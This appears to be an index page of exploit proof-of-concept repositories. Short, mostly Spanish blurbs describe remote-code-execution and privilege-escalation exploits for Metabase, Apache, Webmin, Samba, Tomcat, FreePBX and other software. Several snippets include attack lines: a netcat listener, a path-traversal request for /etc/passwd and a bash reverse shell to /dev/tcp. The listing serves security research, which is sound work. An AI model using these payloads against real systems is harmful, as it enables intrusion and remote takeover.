React2Shell

React2Shell /$$$$$$$ /$$ /$$$$$$ /$$$$$$ /$$ /$$ /$$ | $$ $$ | $$ /$$ $$ /$$ $$| $$ | $$| $$ | $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ |/ \ $$| $$ /| $$$$$$$ /$$$$$$ | $$| $$ | $$$$$$$/ /$$ $$ | $$ /$$/| $$/ /$$$$$$/| $$$$$$ | $$ $$ /$$ $$| $$| $$ | $$ $$| $$$$$$$$ /$$$$$$$| $$ | $$ /$$/ \ $$| $...

CVE-2023-38646

CVE-2023-38646 - Metabase RCE Pre-Autenticación ⚠️ Solo con fines educativos y de investigación de seguridad autorizada Autores del Exploit Original Muy agradecido al autor original del PoC securezeron Guías Paso a Paso 1. Configura el Listener en tu máquina atacante: nc -nlvp 4444 2. Luego,...

CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- Pruebas de penetración 1.1. Path Traversal Lectura del archivo /etc/passwd !/bin/bash Script: exploitpathtraversal.sh Mục tiêu: Đọc tệp /etc/passwd từ Apache 2.4.49 TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+ Kha...

CVE-2026-105767 Chainguard Academy (edu) integrate-platform-docs composite action interpolates inputs into shell commands

Improper Neutralization of Special Elements used in an OS Command in the integrate-platform-docs composite GitHub Action of Chainguard Academy edu from commit 7375a80caabcc31c33ec90f29687ed78c13d16ff before commit fb0efb2537d326ab18c07d620875b8ed2a4b39f3 allows an actor who controls the projectid...

CVE-2012-2982_python

CVE-2012-2982 Exploit python Hola, soy un investigador de seguridad y este es mi primer exploit. Webmin 1.580 tiene una RCE que también es CVE-2012-2982 Para usar este payload: 1. descargar 2. Abrir en un editor de texto! 3. cambia targetIP a tu objetivo 4. cambia lhost a tu propia IP 5. cambia...

CVE-2017-12149

CVE-2017-12149 Muchas gracias al maestro yunxu1 por el código fuente Descripción: Se eliminó la interfaz gráfica Se corrigió el fallo en la ejecución de comandos causado por errores en la identificación del sistema Se cambió a un shell interactivo Uso Introduce la URL y pulsa Enter; automáticamen...

oracleShell

oracleShell ejecución de comandos en base de datos Oracle Entorno de prueba - privilegios DBA: SELECT FROM v$version Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production PL/SQL Release 11.2.0.1.0 - Production "CORE 11.2.0.1.0 Production" TNS for 32-bit Windows: Version 11.2.0.1....

CVE-2026-34197

Laboratorio ActiveMQ Classic CVE-2026-34197 Este repositorio contiene un laboratorio local para estudiar CVE-2026-34197 en Apache ActiveMQ Classic y para comparar una instancia vulnerable con una compilación parcheada. El repositorio está organizado para respaldar dos objetivos: Reproducir el...

CVE-2022-0944

CVE-2022-0944 Un exploit de prueba de concepto para SQLPad RCE CVE-2022-0944 Uso usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional passwor...

CVE-2022-41343

CVE-2022-41343 🐍 Exploit en Python para CVE-2022-41343 Shell inversa por etapas para dompdf 2.0.1 Basado en: el artículo de Positive Sec y PoC Ejemplo cve-2022-41343 10.10.16.3 44444 Uso usage: cve-2022-41343 -h -l SERVERPORT -s SHELL -n FONTNAME ip port positional arguments: ip Shell Callback IP...

cve-2025-57819-exploit

CVE-2025-57819 Exploit Metadatos Gravedad: Crítica 9.8 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo: Inyección SQL no autenticada → Ejecución remota de código Software afectado: FreePBX módulo endpoint 15.0.66, 16.0.89 y 17.0.3 Probado en: FreePBX 16.0.40.7 en CentOS 7 con Apache 2.4...

CVE-2021-25646

uso: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd La reverse shell es la siguiente: Escribe el script de la reverse shell python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Otorga permisos de ejecución al script python3 CVE-2021-25646.py -u...

htb-wifinetictwo-exploit

CVE-2021-31630 PoC de Exploit Este script de Python es un exploit de Prueba de Concepto PoC para CVE-2021-31630, dirigido a una vulnerabilidad en OpenPLC que se ejecuta en la máquina WifineticTwo de HackTheBox. Está diseñado únicamente con fines educativos, con el objetivo de demostrar el proceso...

CVE-2017-16997-poc

Uso Ejecute ./CVE-2017-16997.sh . Si se ejecuta como usuario no root, asegúrese de poder elevar a root mediante sudo. Detalles 1. https://nvd.nist.gov/vuln/detail/CVE-2017-16997...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 Ejecución remota de código no autenticada Este script está diseñado para explotar la vulnerabilidad de ejecución de comandos no autenticada en Webmin 1.890. Permite ejecutar comandos arbitrarios en un servidor Webmin objetivo u obtener una shell inversa. Uso El exploit...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.0 - 3.0.25rc3 son susceptibles a la Vulnerabilidad de Inyección Remota de Comandos CVE-2007-2447, lo que permite a atacantes remotos ejecutar comandos arbitrarios especificando un nombre de usuario que contenga metacaracteres de shell...

CVE-2026-49176_LPE_POC

CVE-2026-49176 SYSTEM Shell PoC Local privilege-escalation proof of concept for the Windows WalletService vulnerability fixed in July 2026. Technical write-up: CVE-2026-49176 Exploit Development: WalletService to SYSTEM. A standard user creates a Wallet ESE database containing a persisted callbac...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - Exploit de subida arbitraria de archivos CVE-2024-56264 Resumen Este repositorio contiene un exploit para CVE-2024-56264 , que es una vulnerabilidad de subida arbitraria de archivos encontrada en el plugin de WordPress ACF City Selector versiones =...

CVE-2019-0232

Exploit para Apache Tomcat CVE-2019-0232 Este script explota la vulnerabilidad CVE-2019-0232 en Apache Tomcat, que permite la ejecución remota de código mediante el manejo inadecuado del script ism.bat. El script emplea una técnica de reverse shell utilizando certutil y nc.exe Netcat para obtener...

PCmanBoF

PCman FTP Server Desbordamiento de búfer y ejecución remota de código CVE-2013-4730 Un desbordamiento de búfer muy simple que utiliza CVE-2013-4730 contra el servidor FTP de PCman v.2.0.7 ¿Cómo funciona? Ese simple BoF sobrescribe el búfer y ejecuta el shellcode que se conectará de vuelta reverse...